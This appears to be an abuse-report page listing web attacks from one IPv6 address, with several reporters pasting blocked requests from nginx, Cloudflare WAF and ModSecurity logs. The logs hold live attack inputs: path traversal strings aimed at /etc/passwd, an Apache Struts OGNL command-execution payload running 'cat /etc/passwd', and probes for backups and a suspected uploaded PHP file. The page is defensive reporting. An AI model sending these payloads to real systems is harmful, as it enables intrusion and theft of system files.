๐ฉ๐ช
macrob
2026-09-29 09:00:51
(1 hour ago)
2026/09/29 09:00:49 [error] 611557#611557: *48433174 access forbidden by rule, client: 2a11:6100:0:1 ...
show more
2026/09/29 09:00:49 [error] 611557#611557: *48433174 access forbidden by rule, client: 2a11:6100:0:1561::, server: binixo-vn.com, request: "POST /wp-admin/admin-ajax.php HTTP/2.0", host: "binixo-vn.com"
2026/09/29 09:00:49 [error] 611561#611561: *48429560 access forbidden by rule, client: 2a11:6100:0:1561::, server: binixo-vn.com, request: "GET /wp-content/uploads/post_files/3jy47dgrj5ruwu51s39vqicxazo.php HTTP/2.0", host: "binixo-vn.com"
2026/09/29 09:00:49 [error] 611557#611557: *48433176 access forbidden by rule, client: 2a11:6100:0:1561::, server: binixo-vn.com, request: "POST /wp-admin/admin-ajax.php HTTP/2.0", host: "binixo-vn.com"
...
show less
Web App Attack
๐ช๐ธ
el-brujo
2026-09-29 07:54:57
(2 hours ago)
Cloudflare WAF: Request Path: /maint/modules/home/index.php Request Query: ?lang=..%2f..%2f..%2f..%2 ...
show more
Cloudflare WAF: Request Path: /maint/modules/home/index.php Request Query: ?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english Host: elhacker.net userAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Action: log Source: firewallManaged ASN Description: SOLLUTIUM EU Sp z.o.o. Country: NL Method: GET Timestamp: 2026-09-29T07:54:57Z ruleId: e35c9a670b864a3ba0203ffb1bc977d1. Report generated by Cloudflare-WAF-to-AbuseIPDB.
show less
Hacking
SQL Injection
Web App Attack
๐ฉ๐ช
macrob
2026-09-29 06:37:13
(4 hours ago)
2026/09/29 06:37:11 [error] 538677#538677: *47975357 access forbidden by rule, client: 2a11:6100:0:1 ...
show more
2026/09/29 06:37:11 [error] 538677#538677: *47975357 access forbidden by rule, client: 2a11:6100:0:1561::, server: binixo-vn.com, request: "GET /wp-content/plugins/parsi-font/readme.txt HTTP/2.0", host: "binixo-vn.com"
2026/09/29 06:37:11 [error] 538677#538677: *47975357 access forbidden by rule, client: 2a11:6100:0:1561::, server: binixo-vn.com, request: "GET /wp-content/plugins/simpel-reserveren/readme.txt HTTP/2.0", host: "binixo-vn.com"
2026/09/29 06:37:12 [error] 538677#538677: *47975358 access forbidden by rule, client: 2a11:6100:0:1561::, server: binixo-vn.com, request: "GET /wp-content/plugins/s3-video/readme.txt HTTP/2.0", host: "binixo-vn.com"
...
show less
Web App Attack
๐ช๐ธ
el-brujo
2026-09-29 03:42:49
(7 hours ago)
Cloudflare WAF: Request Path: /index.action Request Query: ?method:%23_memberAccess%[email protected] ...
show more
Cloudflare WAF: Request Path: /index.action Request Query: ?method:%23_memberAccess%[email protected] @DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd Host: elhacker.net userAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36 Action: block Source: firewallCustom ASN Description: SOLLUTIUM EU Sp z.o.o. Country: NL Method: GET Timestamp: 2026-09-29T03:42:49Z ruleId: 6b2d48d0415e4adb9f099d85f54d1de6. Report generated by Cloudflare-WAF-to-AbuseIPDB.
show less
Hacking
SQL Injection
Web App Attack
๐ช๐ธ
librebit
2026-09-29 00:47:01
(9 hours ago)
Bad guys doing bad things, bad crawling
Bad Web Bot
๐ช๐ธ
el-brujo
2026-09-28 23:28:03
(11 hours ago)
Cloudflare WAF: Request Path: /_search Request Query: Host: elhacker.net userAgent: Mozilla/5.0 (Ma ...
show more
Cloudflare WAF: Request Path: /_search Request Query: Host: elhacker.net userAgent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15 Action: block Source: firewallManaged ASN Description: SOLLUTIUM EU Sp z.o.o. Country: NL Method: POST Timestamp: 2026-09-28T23:28:03Z ruleId: e7e4b386797e417c998d872956c390a1. Report generated by Cloudflare-WAF-to-AbuseIPDB.
show less
Hacking
SQL Injection
Web App Attack
๐ซ๐ท
SpaceHost-Server
2026-09-28 22:23:56
(12 hours ago)
Brute-Force
Web App Attack
Anonymous
2026-09-28 17:10:08
(17 hours ago)
| Multiple common web attacks from same source ip. (multiple servers)
Web App Attack
Hacking
SQL Injection
๐ฉ๐ช
LRob
2026-09-28 15:02:55
(19 hours ago)
Secret file probe | method: GET | path: /backups/database.sql, /database.sql, /db.sql (+9 more) | ua ...
show more
Secret file probe | method: GET | path: /backups/database.sql, /database.sql, /db.sql (+9 more) | ua: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:140.0) Gecko/20100101 Firefox/140.0, Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0, Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 (+9 more) | 2026-09-28 15:02 UTC
show less
Hacking
Web App Attack
๐บ๐ธ
TPI-Abuse
2026-09-28 10:59:52
(23 hours ago)
(mod_security) mod_security (id:211190) triggered by 2a11:6100:0:1561:: (Unknown): 1 in the last 300 ...
show more
(mod_security) mod_security (id:211190) triggered by 2a11:6100:0:1561:: (Unknown): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Sep 28 06:59:46.586142 2026] [security2:error] [pid 6845:tid 6870] [client 2a11:6100:0:1561:::59946] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||colegiopiramide.edu.gt|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "colegiopiramide.edu.gt"] [uri "/index.php/bbs/index/download"] [unique_id "arpIovZEKqkAzyMTLP4_ngAAABc"]
show less
Brute-Force
Bad Web Bot
Web App Attack
๐ฉ๐ช
macrob
2026-09-28 10:42:58
(1 day ago)
2026/09/28 10:42:57 [error] 88274#88274: *44972647 access forbidden by rule, client: 2a11:6100:0:156 ...
show more
2026/09/28 10:42:57 [error] 88274#88274: *44972647 access forbidden by rule, client: 2a11:6100:0:1561::, server: binixo-vn.com, request: "GET /.github/workflows/ci-push.yml HTTP/2.0", host: "binixo-vn.com"
2026/09/28 10:42:57 [error] 88274#88274: *44972646 access forbidden by rule, client: 2a11:6100:0:1561::, server: binixo-vn.com, request: "GET /..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd HTTP/2.0", host: "binixo-vn.com"
2026/09/28 10:42:57 [error] 88271#88271: *44972650 access forbidden by rule, client: 2a11:6100:0:1561::, server: binixo-vn.com, request: "GET /.github/workflows/ci.yml HTTP/2.0", host: "binixo-vn.com"
...
show less
Web App Attack
๐ฏ๐ต
Tom Tamagawa
2026-09-28 08:18:00
(1 day ago)
Probing for vulnerabilities.
Bad Web Bot
Web App Attack
๐ฉ๐ช
LRob
2026-09-28 06:59:17
(1 day ago)
Not following 301 redirects โ wasted requests | method: HEAD | path: / | ua: Mozilla/5.0 (Windows NT ...
show more
Not following 301 redirects โ wasted requests | method: HEAD | path: / | ua: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0 | 2026-09-28 06:59 UTC
show less
Bad Web Bot
๐บ๐ธ
ipblock.com
2026-09-28 02:27:00
(1 day ago)
IPBlock protected site ID [3192-af][s=02].
Exploit request, vulnerability scanner.
Hacking
Bad Web Bot
Web App Attack
๐บ๐ธ
Penny Packer
2026-09-28 00:33:08
(1 day ago)
Fail2Ban apache-tripwires
Web App Attack